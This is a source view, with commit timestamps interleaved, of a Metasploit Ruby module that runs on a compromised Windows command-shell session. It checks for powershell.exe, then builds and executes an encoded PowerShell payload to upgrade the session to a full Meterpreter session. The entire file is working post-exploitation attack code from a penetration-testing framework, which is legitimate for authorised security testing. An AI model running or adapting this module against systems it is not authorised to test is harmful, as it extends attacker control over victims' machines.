Files
metasploit-gs/modules/exploits/windows/local/powershell_cmd_upgrade.rb
T

50 lines
1.4 KiB
Ruby
Raw Normal View History

2014-02-02 19:04:38 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-02-02 19:04:38 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2014-02-10 11:02:53 -06:00
require 'msf/core/exploit/powershell'
2014-02-02 19:04:38 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2014-02-02 19:04:38 +00:00
Rank = ExcellentRanking
include Exploit::Powershell
include Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Command Shell Upgrade (Powershell)',
'Description' => %q{
This module executes Powershell to upgrade a Windows Shell session
to a full Meterpreter session.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
2014-02-02 19:04:38 +00:00
],
'DefaultOptions' =>
{
'WfsDelay' => 10,
},
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'shell' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0
))
end
def exploit
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"
if file? "%WINDIR%\\System32#{psh_path}"
print_status("Executing powershell command line...")
2014-04-19 19:13:48 +01:00
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
cmd_exec(command)
2014-02-02 19:04:38 +00:00
else
2015-04-16 22:04:11 +02:00
fail_with(Failure::NotVulnerable, "No powershell available.")
2014-02-02 19:04:38 +00:00
end
end
end